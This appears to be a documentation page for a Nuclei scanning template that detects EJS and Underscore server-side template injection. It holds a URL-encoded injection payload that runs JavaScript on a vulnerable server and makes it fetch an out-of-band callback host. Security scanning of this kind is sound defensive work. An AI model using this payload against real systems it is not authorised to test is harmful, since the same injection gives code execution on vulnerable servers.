Skip to content

Ejs AND Underscore - Out of Band Template Injection

ID: ejs-underscore-oob

Severity: high

Author: 0xAwali,DhiyaneshDK

Tags: ssti,dast,oast,oob

id: ejs-underscore-oob
info:
name: Ejs AND Underscore - Out of Band Template Injection
author: 0xAwali,DhiyaneshDK
severity: high
reference:
- https://ejs.co/
- https://underscorejs.org/
- https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
metadata:
verified: true
tags: ssti,dast,oast,oob
variables:
prefix: "{{rand_text_alpha(5)}}"
http:
- pre-condition:
- type: dsl
dsl:
- 'method == "GET"'
payloads:
injection:
- '%3C%25%3Dfunction%28%29%7Bfetch%28%22http%3A%2F%2F{{interactsh-url}}%22%2C%20%7B%0A%20%20headers%3A%20%7B%0A%20%20%20%20%22{{prefix}}%22%3A%20%22application%2Fjson%22%0A%20%20%7D%0A%7D%29%7D%28%29%25%3E'
fuzzing:
- part: query
type: postfix
mode: single
fuzz:
- "{{injection}}"
matchers:
- type: dsl
name: request-matcher
dsl:
- "contains(interactsh_protocol,'http')"
- "contains(to_lower(interactsh_request), to_lower(prefix))"
condition: and
# digest: 490a004630440220131ae926976d315a83115b59fbad83092ae0fd0b59d32306a7d225549889b10002201d1c77ab6dc971aa4bf14f712b268a9dfd3e63ebdbd19924350c795f022243a2:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/oob/ejs-underscore-oob.yaml"

View on Github